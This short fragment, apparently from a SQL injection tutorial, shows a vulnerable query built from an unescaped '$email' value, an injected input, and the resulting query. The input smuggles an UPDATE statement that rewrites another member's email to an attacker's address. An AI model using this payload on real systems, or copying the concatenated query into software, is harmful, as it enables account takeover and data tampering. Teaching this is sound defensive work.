SELECT email, passwd, login_id, full_name FROM members WHERE email = '$email'; 
x'; UPDATE members SET email = 'steve@unixwiz.net' WHERE email = 'bob@example.com
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = 'steve@unixwiz.net' WHERE email = 'bob@example.com';